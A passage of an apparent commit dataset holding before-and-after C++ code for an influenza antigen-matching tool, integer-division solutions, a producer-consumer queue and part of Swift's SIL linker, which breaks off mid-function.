ag_sr.serum_id())));\n                fmt::format_to(variant.second, \"\\n\");\n                const auto by_lab_assay = hidb.tables(*hidb_antigen, hidb::lab_assay_rbc_table_t::recent_first);\n                for (auto entry : by_lab_assay) {\n                    fmt::format_to(variant.second, \"        [{} {}] ({})\", entry.lab, acmacs::chart::assay_rbc_short(entry.assay, entry.rbc), entry.tables.size());\n                    for (auto table : entry.tables)\n                        fmt::format_to(variant.second, \" {}\", table->date());\n                    fmt::format_to(variant.second, \"\\n\");\n                }\n            }\n            std::sort(std::begin(hidb_variants), std::end(hidb_variants), [&full_name](const auto& e1, const auto& e2) {\n                const auto f1 = e1.first == full_name, f2 = e2.first == full_name;\n                if (f1 && !f2)\n                    return true;\n                else if (!f1 && f2)\n                    return false;\n                else\n                    return e1.first < e2.first;\n            });\n            if (!full_name_match_present)\n                hidb_variants.emplace(hidb_variants.begin(), \"*** New ***\", fmt::memory_buffer{});\n            for (const auto& variant : hidb_variants) {\n                if (full_name_match_present) {\n                    fmt::print(\"  + \");\n                    full_name_match_present = false;\n                }\n                else\n                    fmt::print(\"    \");\n                fmt::print(\"{}\", fmt::to_string(variant.second));\n            }\n        };\n\n        fmt::print(\"# -*- Mode: eu-whocc-scan2; -*-\\n\\n\");\n        for (const auto& filename : *opt.tables) {\n            auto chart = acmacs::chart::import_from_file(filename);\n            fmt::print(\">> {}\\n\\n\", chart->make_name());\n            const auto& hidb = hidb::get(chart->info()->virus_type(acmacs::chart::Info::Compute::Yes));\n            auto tables = hidb.tables();\n\n            auto antigens = chart->antigens();\n            for (auto [ag_no, antigen] : acmacs::enumerate(*antigens)) {\n                if (!antigen->distinct()) {\n                    const auto hidb_antigens = hidb.antigens()->find(antigen->name(), hidb::fix_location::no);\n                    if (!hidb_antigens.empty())\n                        show_matches(hidb, hidb_antigens, ag_no, *antigen);\n                }\n            }\n            fmt::print(\"\\n\\n\");\n\n            auto sera = chart->sera();\n            for (auto [sr_no, serum] : acmacs::enumerate(*sera)) {\n                const auto hidb_sera = hidb.sera()->find(serum->name(), hidb::fix_location::no);\n                \/\/ if (!hidb_sera.empty())\n                show_matches(hidb, hidb_sera, sr_no, *serum);\n            }\n            fmt::print(\"\\n\\n\");\n            fmt::print(\"> ====================================================================================================\\n\\n\");\n        }\n    }\n    catch (std::exception& err) {\n        AD_ERROR(\"{}\", err);\n        exit_code = 2;\n    }\n    return exit_code;\n}\n\n\/\/ ----------------------------------------------------------------------\n\/\/\/ Local Variables:\n\/\/\/ eval: (if (fboundp 'eu-rename-buffer) (eu-rename-buffer))\n\/\/\/ End:\n<commit_msg>whocc-check-new-tables<commit_after>#include \"acmacs-base\/argv.hh\"\n\/\/ #include \"acmacs-base\/range-v3.hh\"\n#include \"acmacs-base\/enumerate.hh\"\n#include \"acmacs-base\/string-join.hh\"\n#include \"acmacs-chart-2\/factory-import.hh\"\n#include \"acmacs-chart-2\/chart.hh\"\n#include \"hidb-5\/hidb-set.hh\"\n#include \"hidb-5\/hidb.hh\"\n#include \"acmacs-whocc\/log.hh\"\n\n\/\/ ----------------------------------------------------------------------\n\nusing namespace acmacs::argv;\nstruct Options : public argv\n{\n    Options(int a_argc, const char* const a_argv[], on_error on_err = on_error::exit) : argv() { parse(a_argc, a_argv, on_err); }\n\n    option<str_array> verbose{*this, 'v', \"verbose\", desc{\"comma separated list (or multiple switches) of log enablers\"}};\n\n    argument<str_array> tables{*this, arg_name{\".ace\"}, mandatory};\n};\n\nint main(int argc, char* const argv[])\n{\n    using namespace std::string_view_literals;\n    int exit_code = 0;\n    try {\n        Options opt(argc, argv);\n        acmacs::log::enable(opt.verbose);\n\n        const auto show_matches = [](const auto& hidb, const auto& hidb_ag_sr, size_t no, const auto& ag_sr) {\n            const auto make_field = [](const auto& value, const auto& to_compare) {\n                if (!value.empty() && value == to_compare)\n                    return fmt::format(\"<{}>\", value);\n                else\n                    return fmt::format(\"{}\", value);\n            };\n\n            constexpr auto is_antigen = std::is_same_v<std::decay_t<decltype(ag_sr)>, acmacs::chart::Antigen>;\n            const auto full_name = ag_sr.full_name();\n            const auto reassortant = ag_sr.reassortant();\n            const auto annotations = acmacs::string::join(acmacs::string::join_space, ag_sr.annotations());\n            if constexpr (is_antigen)\n                fmt::print(\"AG\");\n            else\n                fmt::print(\"SR\");\n            fmt::print(\"{:3d} \\\"{}\\\"\\n\", no, full_name);\n\n            std::vector<std::pair<std::string, fmt::memory_buffer>> hidb_variants;\n            bool full_name_match_present{false};\n            for (const auto& [hidb_antigen, hidb_index] : hidb_ag_sr) {\n                std::string hidb_full_name;\n                if constexpr (is_antigen)\n                    hidb_full_name = acmacs::string::join(acmacs::string::join_space, hidb_antigen->name(), acmacs::string::join(acmacs::string::join_space, hidb_antigen->annotations()),\n                                                          hidb_antigen->reassortant(), hidb_antigen->passage());\n                else\n                    hidb_full_name = acmacs::string::join(acmacs::string::join_space, hidb_antigen->name(), acmacs::string::join(acmacs::string::join_space, hidb_antigen->annotations()),\n                                                          hidb_antigen->reassortant(), hidb_antigen->serum_id());\n                full_name_match_present |= hidb_full_name == full_name;\n                auto& variant = hidb_variants.emplace_back(std::move(hidb_full_name), fmt::memory_buffer{});\n                \/\/ mark matching matching annotations, reassortant, passage, serum_id\n                if constexpr (is_antigen)\n                    fmt::format_to(variant.second, \"{}\",\n                                   acmacs::string::join(acmacs::string::join_space,\n                                                        \/* hidb_antigen->name(), *\/ make_field(acmacs::string::join(acmacs::string::join_space, hidb_antigen->annotations()), annotations),\n                                                        make_field(hidb_antigen->reassortant(), reassortant), make_field(hidb_antigen->passage(), ag_sr.passage())));\n                else\n                    fmt::format_to(variant.second, \"{}\",\n                                   acmacs::string::join(acmacs::string::join_space,\n                                                        \/* hidb_antigen->name(), *\/ make_field(acmacs::string::join(acmacs::string::join_space, hidb_antigen->annotations()), annotations),\n                                                        make_field(hidb_antigen->reassortant(), reassortant), make_field(hidb_antigen->serum_id(), ag_sr.serum_id())));\n                fmt::format_to(variant.second, \"\\n\");\n                const auto by_lab_assay = hidb.tables(*hidb_antigen, hidb::lab_assay_rbc_table_t::recent_first);\n                for (auto entry : by_lab_assay) {\n                    fmt::format_to(variant.second, \"        [{} {}] ({})\", entry.lab, acmacs::chart::assay_rbc_short(entry.assay, entry.rbc), entry.tables.size());\n                    for (auto table : entry.tables)\n                        fmt::format_to(variant.second, \" {}\", table->date());\n                    fmt::format_to(variant.second, \"\\n\");\n                }\n            }\n            std::sort(std::begin(hidb_variants), std::end(hidb_variants), [&full_name](const auto& e1, const auto& e2) {\n                const auto f1 = e1.first == full_name, f2 = e2.first == full_name;\n                if (f1 && !f2)\n                    return true;\n                else if (!f1 && f2)\n                    return false;\n                else\n                    return e1.first < e2.first;\n            });\n            if (!full_name_match_present) {\n                const auto new_var = hidb_variants.emplace(hidb_variants.begin(), \"*** New ***\", fmt::memory_buffer{});\n                fmt::format_to(new_var->second, \"*** New ***\\n\");\n            }\n            for (const auto& variant : hidb_variants) {\n                if (full_name_match_present) {\n                    fmt::print(\"  + \");\n                    full_name_match_present = false;\n                }\n                else\n                    fmt::print(\"    \");\n                fmt::print(\"{}\", fmt::to_string(variant.second));\n            }\n        };\n\n        fmt::print(\"# -*- Mode: eu-whocc-scan2; -*-\\n\\n\");\n        for (const auto& filename : *opt.tables) {\n            auto chart = acmacs::chart::import_from_file(filename);\n            fmt::print(\">> {}\\n\\n\", chart->make_name());\n            const auto& hidb = hidb::get(chart->info()->virus_type(acmacs::chart::Info::Compute::Yes));\n            auto tables = hidb.tables();\n\n            auto antigens = chart->antigens();\n            for (auto [ag_no, antigen] : acmacs::enumerate(*antigens)) {\n                if (!antigen->distinct()) {\n                    const auto hidb_antigens = hidb.antigens()->find(antigen->name(), hidb::fix_location::no);\n                    if (!hidb_antigens.empty())\n                        show_matches(hidb, hidb_antigens, ag_no, *antigen);\n                }\n            }\n            fmt::print(\"\\n\\n\");\n\n            auto sera = chart->sera();\n            for (auto [sr_no, serum] : acmacs::enumerate(*sera)) {\n                const auto hidb_sera = hidb.sera()->find(serum->name(), hidb::fix_location::no);\n                \/\/ if (!hidb_sera.empty())\n                show_matches(hidb, hidb_sera, sr_no, *serum);\n            }\n            fmt::print(\"\\n\\n\");\n            fmt::print(\"> ====================================================================================================\\n\\n\");\n        }\n    }\n    catch (std::exception& err) {\n        AD_ERROR(\"{}\", err);\n        exit_code = 2;\n    }\n    return exit_code;\n}\n\n\/\/ ----------------------------------------------------------------------\n\/\/\/ Local Variables:\n\/\/\/ eval: (if (fboundp 'eu-rename-buffer) (eu-rename-buffer))\n\/\/\/ End:\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Time:  O(logn)\n\/\/ Space: O(1)\n\nclass Solution {\npublic:\n    \/**\n     * @param dividend the dividend\n     * @param divisor the divisor\n     * @return the result\n     *\/\n    int divide(int dividend, int divisor) {\n        \/\/ Handle corner case.\n        if (divisor == INT_MIN) {\n            return dividend == divisor ? 1 : 0;\n        } else if (!divisor || divisor == -1 && dividend == INT_MIN) {\n            return INT_MAX;\n        } else if (divisor == 1) {\n            return dividend;\n        }\n        \n        bool negative = (dividend > 0) ^ (divisor > 0);\n        if (dividend > 0) {\n            dividend = -dividend;\n        }\n        if (divisor > 0) {\n            divisor = -divisor;\n        }\n        \n        int product = divisor;\n        int idx = 1;\n        while (product < 0 && idx < 32) {\n            ++idx;\n            product <<= 1;\n        }\n        idx -= 2; \/\/ Skip value of INT_MIN\n        product = divisor << idx;\n        int multiplier = 1 << idx;\n        \n        int res = 0;\n        while (dividend <= divisor) {\n            if (dividend <= product) {\n                res += multiplier;\n                dividend -= product;\n            }\n            --idx;\n            product = divisor << idx;\n            multiplier >>= 1;\n        }\n        return negative ? -res : res;\n    }\n};\n\nclass Solution2 {\npublic:\n    \/**\n     * @param dividend the dividend\n     * @param divisor the divisor\n     * @return the result\n     *\/\n    int divide(int dividend, int divisor) {\n        \/\/ Handle corner case.\n        if (divisor == INT_MIN) {\n            return dividend == divisor ? 1 : 0;\n        } else if (!divisor || divisor == -1 && dividend == INT_MIN) {\n            return INT_MAX;\n        } else if (divisor == 1) {\n            return dividend;\n        }\n        \n        bool negative = (dividend > 0) ^ (divisor > 0);\n        if (dividend > 0) {\n            dividend = -dividend;\n        }\n        if (divisor > 0) {\n            divisor = -divisor;\n        }\n        vector<int> multipliers, products;\n        multipliers.push_back(1);\n        products.push_back(divisor);\n        int idx = 1, res = 0;\n        while (products[idx - 1] < 0 && idx < 32) {\n            products.push_back(divisor << idx);\n            multipliers.push_back(1 << idx);\n            ++idx;\n        }\n        idx -= 2;\n        while (dividend <= divisor) {\n            if (dividend <= products[idx]) {\n                res += multipliers[idx];\n                dividend -= products[idx];\n            }\n            --idx;\n        }\n        return negative ? -res : res;\n    }\n};\n\n\/\/ Time:  O(1)\n\/\/ Space: O(1)\n\/\/ a \/ b = exp^(ln(a) - ln(b))\nclass Solution3 {\npublic:\n    \/**\n     * @param dividend the dividend\n     * @param divisor the divisor\n     * @return the result\n     *\/\n    int divide(int dividend, int divisor) {\n        if (dividend == 0) { \n            return 0;\n        }\n        if (divisor == 0) {\n            return INT_MAX;\n        }\n        \n        long long res = exp(log(fabs(dividend)) - log(fabs(divisor)));\n        \n        if ((dividend < 0) ^ (divisor < 0)) {\n            res = -res;\n        }\n        if (res > INT_MAX) {\n            res = INT_MAX;\n        }\n        return res;\n    }\n};\n<commit_msg>Update divide-two-integers.cpp<commit_after>\/\/ Time:  O(logn)\n\/\/ Space: O(1)\n\n\/\/ Only using integer type.\nclass Solution {\npublic:\n    \/**\n     * @param dividend the dividend\n     * @param divisor the divisor\n     * @return the result\n     *\/\n    int divide(int dividend, int divisor) {\n        \/\/ Handle corner case.\n        if (divisor == INT_MIN) {\n            return dividend == divisor ? 1 : 0;\n        } else if (!divisor || divisor == -1 && dividend == INT_MIN) {\n            return INT_MAX;\n        } else if (divisor == 1) {\n            return dividend;\n        }\n        \n        bool negative = (dividend > 0) ^ (divisor > 0);\n        if (dividend > 0) {\n            dividend = -dividend;\n        }\n        if (divisor > 0) {\n            divisor = -divisor;\n        }\n        \n        int product = divisor;\n        int idx = 1;\n        while (product < 0 && idx < 32) {\n            ++idx;\n            product <<= 1;\n        }\n        idx -= 2; \/\/ Skip value of INT_MIN\n        product = divisor << idx;\n        int multiplier = 1 << idx;\n        \n        int res = 0;\n        while (dividend <= divisor) {\n            if (dividend <= product) {\n                res += multiplier;\n                dividend -= product;\n            }\n            --idx;\n            product = divisor << idx;\n            multiplier >>= 1;\n        }\n        return negative ? -res : res;\n    }\n};\n\n\/\/ Time:  O(logn)\n\/\/ Space: O(1)\n\/\/ Using long long type.\nclass Solution2 {\npublic:\n    \/**\n     * @param dividend the dividend\n     * @param divisor the divisor\n     * @return the result\n     *\/\n    int divide(int dividend, int divisor) {\n        long long result = 0, dvd = llabs(dividend), dvs = llabs(divisor);\n        \n        long long inc = dvs;\n        long long multiplier = 1; \n        int i = 0;\n        while (dvd >= inc) {\n                inc <<= 1;\n                multiplier <<= 1;\n                ++i;\n        }\n        \n        while (inc && i >= 0) {\n                while (dvd >= inc) {\n                    dvd -= inc;\n                    result += multiplier;\n                }\n                inc >>= 1;\n                multiplier >>= 1;\n                --i;\n        }\n            \n        if (dividend > 0 and divisor < 0 or dividend < 0 and divisor > 0) {\n            return -result;\n        } else {\n            return min(result, static_cast<long long>(INT_MAX));\n        }\n    }\n};\n\n\/\/ Time:  O(1)\n\/\/ Space: O(1)\n\/\/ a \/ b = exp^(ln(a) - ln(b))\nclass Solution3 {\npublic:\n    \/**\n     * @param dividend the dividend\n     * @param divisor the divisor\n     * @return the result\n     *\/\n    int divide(int dividend, int divisor) {\n        if (dividend == 0) { \n            return 0;\n        }\n        if (divisor == 0) {\n            return INT_MAX;\n        }\n        \n        long long res = exp(log(fabs(dividend)) - log(fabs(divisor)));\n        \n        if ((dividend < 0) ^ (divisor < 0)) {\n            res = -res;\n        }\n        if (res > INT_MAX) {\n            res = INT_MAX;\n        }\n        return res;\n    }\n};\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <queue>\n#include <thread>\n#include <mutex>\n#include <condition_variable>\n#include <chrono>\n\nusing std::cout;\nusing std::endl;\nusing std::queue;\nusing std::thread;\nusing std::mutex;\nusing std::unique_lock;\nusing std::lock_guard;\nusing std::condition_variable;\nusing std::chrono::milliseconds;\nusing std::this_thread::sleep_for;\n\nclass Buffer {\npublic:\n    Buffer() {}\n    void add(int num) {\n        {\n            unique_lock<mutex> lock(mu);\n            cond.wait(lock, [this]() { return buffer_.size() != size_; });\n            buffer_.emplace(num);\n        }\n        \/\/ Unlocking is done before notifying, to avoid waking up\n        \/\/ the waiting thread only to block again. \n        cond.notify_all();\n    }\n    int remove() {\n        int back;\n        {\n            unique_lock<mutex> lock(mu);\n            cond.wait(lock, [this]() { return buffer_.size() != 0; });\n            back = buffer_.front();\n            buffer_.pop();\n        }\n        \/\/ Unlocking is done before notifying, to avoid waking up\n        \/\/ the waiting thread only to block again. \n        cond.notify_all();\n        return back;\n    }\nprivate:\n    mutex mu;\n    condition_variable cond;\n    queue<int> buffer_;\n    const unsigned int size_ = 5;\n};\n\nclass Producer {\npublic:\n    Producer(Buffer& buffer, mutex& cout_mu) :\n             buffer_(buffer), cout_mu_(cout_mu) {}\n    \n    void run() {\n        for (int i = 0; i < 100; ++i) {\n            const int num = i;\n            buffer_.add(i);\n            {\n                lock_guard<mutex> lock(cout_mu_);\n                cout << \"Produced: \" << num << endl;\n            }\n            sleep_for(milliseconds(50));\n        }\n    }\n\nprivate:\n    Buffer& buffer_;\n    mutex& cout_mu_;\n};\n\nclass Consumer {\npublic:\n    Consumer(Buffer& buffer, mutex& cout_mu) : buffer_(buffer), cout_mu_(cout_mu) {}\n    void run() {\n        for (int i = 0; i < 100; ++i) {\n            int num = buffer_.remove();\n            {\n                lock_guard<mutex> lock(cout_mu_);\n                cout << \"Consumed: \" << num << endl;\n            }\n            sleep_for(milliseconds(500));\n        }\n    }\n\nprivate:\n    Buffer& buffer_;\n    mutex& cout_mu_;\n};\n\nint main() {\n    Buffer b;\n    mutex cout_mu;\n    Producer p(b, cout_mu);\n    Consumer c(b, cout_mu);\n\n    thread producer_thread(&Producer::run, &p);\n    thread consumer_thread(&Consumer::run, &c);\n\n    producer_thread.join();\n    consumer_thread.join();\n    \n    return 0;\n}\n<commit_msg>update<commit_after>#include <iostream>\n#include <queue>\n#include <thread>\n#include <mutex>\n#include <condition_variable>\n#include <chrono>\n\nusing std::cout;\nusing std::endl;\nusing std::queue;\nusing std::thread;\nusing std::mutex;\nusing std::unique_lock;\nusing std::lock_guard;\nusing std::condition_variable;\nusing std::chrono::milliseconds;\nusing std::this_thread::sleep_for;\n\ntemplate<typename T>\nclass SyncQueue {\npublic:\n    void put(const T& val) {\n        unique_lock<mutex> lock{mtx};\n        cond.wait(lock, [this]() { return q.size() != q_size; });\n        q.emplace(val);\n        cond.notify_one();\n    }\n    \n    void get(T& val) {\n        unique_lock<mutex> lock{mtx};\n        cond.wait(lock, [this]() { return !q.empty(); });\n        val = q.front();\n        q.pop();\n        cond.notify_one();\n    }\n    \nprivate:\n    mutex mtx;\n    condition_variable cond;\n    queue<T> q;\n    const unsigned int q_size = 5;\n};\n\nclass Producer {\npublic:\n    Producer(SyncQueue<int>& q, mutex& cout_mtx) :\n             q_(q), cout_mtx_(cout_mtx) {}\n    \n    void run() {\n        for (int i = 0; i < 100; ++i) {\n            const int num = i;\n            q_.put(num);\n            {\n                lock_guard<mutex> lock(cout_mtx_);\n                cout << \"Produced: \" << num << endl;\n            }\n            sleep_for(milliseconds(50));\n        }\n    }\n\nprivate:\n    SyncQueue<int>& q_;\n    mutex& cout_mtx_;\n};\n\nclass Consumer {\npublic:\n    Consumer(SyncQueue<int>& q, mutex& cout_mtx) : q_(q), cout_mtx_(cout_mtx) {}\n    void run() {\n        for (int i = 0; i < 100; ++i) {\n            int num;\n            q_.get(num);\n            {\n                lock_guard<mutex> lock(cout_mtx_);\n                cout << \"Consumed: \" << num << endl;\n            }\n            sleep_for(milliseconds(500));\n        }\n    }\n\nprivate:\n    SyncQueue<int>& q_;\n    mutex& cout_mtx_;\n};\n\nint main() {\n    SyncQueue<int> q;\n    mutex cout_mtx;\n    Producer p{q, cout_mtx};\n    Consumer c{q, cout_mtx};\n\n    thread producer_thread{&Producer::run, &p};\n    thread consumer_thread{&Consumer::run, &c};\n\n    producer_thread.join();\n    consumer_thread.join();\n    \n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===--- Linker.cpp -------------------------------------------------------===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#define DEBUG_TYPE \"sil-linker\"\n#include \"Linker.h\"\n#include \"llvm\/ADT\/Statistic.h\"\n#include \"llvm\/ADT\/FoldingSet.h\"\n#include \"llvm\/ADT\/SmallString.h\"\n#include \"llvm\/ADT\/StringSwitch.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include <functional>\n\nusing namespace swift;\nusing namespace Lowering;\n\nSTATISTIC(NumFuncLinked, \"Number of SIL functions linked\");\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                                  Utility\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/\/ \\return True if the function \\p F should be imported into the current\n\/\/\/ module.\nstatic bool shouldImportFunction(SILFunction *F) {\n  \/\/ Skip functions that are marked with the 'no import' tag. These\n  \/\/ are functions that we don't want to copy from the module.\n  if (F->hasSemanticsAttr(\"stdlib_binary_only\")) {\n    \/\/ If we are importing a function declaration mark it as external since we\n    \/\/ are not importing the body.\n    if (F->isExternalDeclaration())\n      F->setLinkage(SILLinkage::PublicExternal);\n    return false;\n  }\n\n  return true;\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                               Linker Helpers\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/\/ Process F, recursively deserializing any thing F may reference.\nbool SILLinkerVisitor::processFunction(SILFunction *F) {\n  if (Mode == LinkingMode::LinkNone)\n    return false;\n\n  if (!shouldImportFunction(F))\n    return false;\n\n  \/\/ If F is a declaration, first deserialize it.\n  if (F->isExternalDeclaration()) {\n    auto *NewFn = Loader->lookupSILFunction(F);\n\n    if (!NewFn || NewFn->isExternalDeclaration())\n      return false;\n\n    F = NewFn;\n  }\n\n  ++NumFuncLinked;\n\n  \/\/ Try to transitively deserialize everything referenced by this\n  \/\/ function.\n  Worklist.push_back(F);\n  process();\n\n  \/\/ Since we successfully processed at least one function, return true.\n  return true;\n}\n\n\/\/\/ Process Decl, recursively deserializing any thing Decl may reference.\nbool SILLinkerVisitor::processDeclRef(SILDeclRef Decl) {\n  if (Mode == LinkingMode::LinkNone)\n    return false;\n\n  \/\/ If F is a declaration, first deserialize it.\n  auto *NewFn =\n      isAvailableExternally(Decl.getLinkage(ForDefinition_t::NotForDefinition))\n          ? Loader->lookupSILFunction(Decl)\n          : nullptr;\n  if (!NewFn || NewFn->isExternalDeclaration())\n    return false;\n\n  if (!shouldImportFunction(NewFn)) {\n    return false;\n  }\n\n  ++NumFuncLinked;\n\n  \/\/ Try to transitively deserialize everything referenced by NewFn.\n  Worklist.push_back(NewFn);\n  process();\n\n  \/\/ Since we successfully processed at least one function, return true.\n  return true;\n}\n\n\/\/\/ Process Decl, recursively deserializing any thing Decl may reference.\nbool SILLinkerVisitor::processFunction(StringRef Name) {\n  if (Mode == LinkingMode::LinkNone)\n    return false;\n\n  \/\/ If F is a declaration, first deserialize it.\n  auto *NewFn = Loader->lookupSILFunction(Name);\n\n  if (!NewFn || NewFn->isExternalDeclaration())\n    return false;\n\n  ++NumFuncLinked;\n\n  \/\/ Try to transitively deserialize everything referenced by NewFn.\n  Worklist.push_back(NewFn);\n  process();\n\n  \/\/ Since we successfully processed at least one function, return true.\n  return true;\n}\n\n\/\/\/ Process Decl, recursively deserializing any thing Decl may reference.\nSILFunction *SILLinkerVisitor::lookupFunction(StringRef Name,\n                                              SILLinkage Linkage) {\n\n  auto *NewFn = Loader->lookupSILFunction(Name, \/* declarationOnly *\/ true,\n                                          Linkage);\n\n  if (!NewFn)\n    return nullptr;\n\n  assert(NewFn->isExternalDeclaration() &&\n         \"SIL function lookup should never read function bodies\");\n\n  return NewFn;\n}\n\n\n\/\/\/ Deserialize the VTable mapped to C if it exists and all SIL the VTable\n\/\/\/ transitively references.\n\/\/\/\n\/\/\/ This method assumes that the caller made sure that no vtable existed in\n\/\/\/ Mod.\nSILVTable *SILLinkerVisitor::processClassDecl(const ClassDecl *C) {\n  \/\/ If we are not linking anything, bail.\n  if (Mode == LinkingMode::LinkNone)\n    return nullptr;\n\n  \/\/ Attempt to load the VTable from the SerializedSILLoader. If we\n  \/\/ fail... bail...\n  SILVTable *Vtbl = Loader->lookupVTable(C);\n  if (!Vtbl)\n    return nullptr;\n\n  \/\/ Otherwise, add all the vtable functions in Vtbl to the function\n  \/\/ processing list...\n  for (auto &E : Vtbl->getEntries())\n    Worklist.push_back(E.second);\n\n  \/\/ And then transitively deserialize all SIL referenced by those functions.\n  process();\n\n  \/\/ Return the deserialized Vtbl.\n  return Vtbl;\n}\n\nbool SILLinkerVisitor::linkInVTable(ClassDecl *D) {\n  \/\/ Attempt to lookup the Vtbl from the SILModule.\n  SILVTable *Vtbl = Mod.lookUpVTable(D);\n\n  \/\/ If the SILModule does not have the VTable, attempt to deserialize the\n  \/\/ VTable. If we fail to do that as well, bail.\n  if (!Vtbl || !(Vtbl = Loader->lookupVTable(D->getName())))\n    return false;\n\n  \/\/ Ok we found our VTable. Visit each function referenced by the VTable. If\n  \/\/ any of the functions are external declarations, add them to the worklist\n  \/\/ for processing.\n  bool Result = false;\n  for (auto P : Vtbl->getEntries()) {\n    if (P.second->isExternalDeclaration()) {\n      Result = true;\n      addFunctionToWorklist(P.second);\n    }\n  }\n  return Result;\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                                  Visitors\n\/\/===----------------------------------------------------------------------===\/\/\n\nbool SILLinkerVisitor::visitApplyInst(ApplyInst *AI) {\n  \/\/ Ok we have a function ref inst, grab the callee.\n  SILFunction *Callee = AI->getReferencedFunction();\n  if (!Callee)\n    return false;\n\n  \/\/ If the linking mode is not link all, AI is not transparent, and the\n  \/\/ callee is not shared, we don't want to perform any linking.\n  if (!isLinkAll() && !Callee->isTransparent() &&\n      !hasSharedVisibility(Callee->getLinkage()))\n    return false;\n\n  \/\/ Otherwise we want to try and link in the callee... Add it to the callee\n  \/\/ list and return true.\n  addFunctionToWorklist(Callee);\n  return true;\n}\n\nbool SILLinkerVisitor::visitPartialApplyInst(PartialApplyInst *PAI) {\n  SILFunction *Callee = PAI->getReferencedFunction();\n  if (!Callee)\n    return false;\n  if (!isLinkAll() && !Callee->isTransparent() &&\n      !hasSharedVisibility(Callee->getLinkage()))\n    return false;\n\n  addFunctionToWorklist(Callee);\n  return true;\n}\n\nbool SILLinkerVisitor::visitFunctionRefInst(FunctionRefInst *FRI) {\n  \/\/ Needed to handle closures which are no longer applied, but are left\n  \/\/ behind as dead code. This shouldn't happen, but if it does don't get into\n  \/\/ an inconsistent state.\n  SILFunction *Callee = FRI->getReferencedFunction();\n  if (!isLinkAll() && !Callee->isTransparent() &&\n      !hasSharedVisibility(Callee->getLinkage()))\n    return false;\n\n  addFunctionToWorklist(FRI->getReferencedFunction());\n  return true;\n}\n\nbool SILLinkerVisitor::visitProtocolConformance(\n    ProtocolConformanceRef ref, const Optional<SILDeclRef> &Member) {\n  \/\/ If an abstract protocol conformance was passed in, just return false.\n  if (ref.isAbstract())\n    return false;\n\n  \/\/ Otherwise try and lookup a witness table for C.\n  auto C = ref.getConcrete();\n  SILWitnessTable *WT = Mod.lookUpWitnessTable(C);\n\n  \/\/ If we don't find any witness table for the conformance, bail and return\n  \/\/ false.\n  if (!WT) {\n    Mod.createWitnessTableDeclaration(\n        C, TypeConverter::getLinkageForProtocolConformance(\n               C->getRootNormalConformance(), NotForDefinition));\n    return false;\n  }\n\n  \/\/ If the looked up witness table is a declaration, there is nothing we can\n  \/\/ do here. Just bail and return false.\n  if (WT->isDeclaration())\n    return false;\n\n  bool performFuncDeserialization = false;\n  \/\/ For each entry in the witness table...\n  for (auto &E : WT->getEntries()) {\n    \/\/ If the entry is a witness method...\n    if (E.getKind() == SILWitnessTable::WitnessKind::Method) {\n      \/\/ And we are only interested in deserializing a specific requirement\n      \/\/ and don't have that requirement, don't deserialize this method.\n      if (Member.hasValue() && E.getMethodWitness().Requirement != *Member)\n        continue;\n\n      \/\/ The witness could be removed by dead function elimination.\n      if (!E.getMethodWitness().Witness)\n        continue;\n\n      \/\/ Otherwise if it is the requirement we are looking for or we just want\n      \/\/ to deserialize everything, add the function to the list of functions\n      \/\/ to deserialize.\n      performFuncDeserialization = true;\n      addFunctionToWorklist(E.getMethodWitness().Witness);\n    }\n  }\n\n  return performFuncDeserialization;\n}\n\nbool SILLinkerVisitor::visitInitExistentialAddrInst(\n    InitExistentialAddrInst *IEI) {\n  \/\/ Link in all protocol conformances that this touches.\n  \/\/\n  \/\/ TODO: There might be a two step solution where the init_existential_inst\n  \/\/ causes the witness table to be brought in as a declaration and then the\n  \/\/ protocol method inst causes the actual deserialization. For now we are\n  \/\/ not going to be smart about this to enable avoiding any issues with\n  \/\/ visiting the open_existential_addr\/witness_method before the\n  \/\/ init_existential_inst.\n  bool performFuncDeserialization = false;\n  for (ProtocolConformanceRef C : IEI->getConformances()) {\n    performFuncDeserialization |=\n        visitProtocolConformance(C, Optional<SILDeclRef>());\n  }\n  return performFuncDeserialization;\n}\n\nbool SILLinkerVisitor::visitInitExistentialRefInst(\n    InitExistentialRefInst *IERI) {\n  \/\/ Link in all protocol conformances that this touches.\n  \/\/\n  \/\/ TODO: There might be a two step solution where the init_existential_inst\n  \/\/ causes the witness table to be brought in as a declaration and then the\n  \/\/ protocol method inst causes the actual deserialization. For now we are\n  \/\/ not going to be smart about this to enable avoiding any issues with\n  \/\/ visiting the protocol_method before the init_existential_inst.\n  bool performFuncDeserialization = false;\n  for (ProtocolConformanceRef C : IERI->getConformances()) {\n    performFuncDeserialization |=\n        visitProtocolConformance(C, Optional<SILDeclRef>());\n  }\n  return performFuncDeserialization;\n}\n\nbool SILLinkerVisitor::visitAllocRefInst(AllocRefInst *ARI) {\n  \/\/ Grab the class decl from the alloc ref inst.\n  ClassDecl *D = ARI->getType().getClassOrBoundGenericClass();\n  if (!D)\n    return false;\n\n  return linkInVTable(D);\n}\n\nbool SILLinkerVisitor::visitMetatypeInst(MetatypeInst *MI) {\n  CanType instTy = MI->getType().castTo<MetatypeType>().getInstanceType();\n  ClassDecl *C = instTy.getClassOrBoundGenericClass();\n  if (!C)\n    return false;\n\n  return linkInVTable(C);\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                             Top Level Routine\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ Main loop of the visitor. Called by one of the other *visit* methods.\nbool SILLinkerVisitor::process() {\n  \/\/ Process everything transitively referenced by one of the functions in the\n  \/\/ worklist.\n  bool Result = false;\n  while (!Worklist.empty()) {\n    auto *Fn = Worklist.pop_back_val();\n\n    if (!shouldImportFunction(Fn))\n      continue;\n\n    DEBUG(llvm::dbgs() << \"Process imports in function: \"\n                       << Fn->getName() << \"\\n\");\n\n    for (auto &BB : 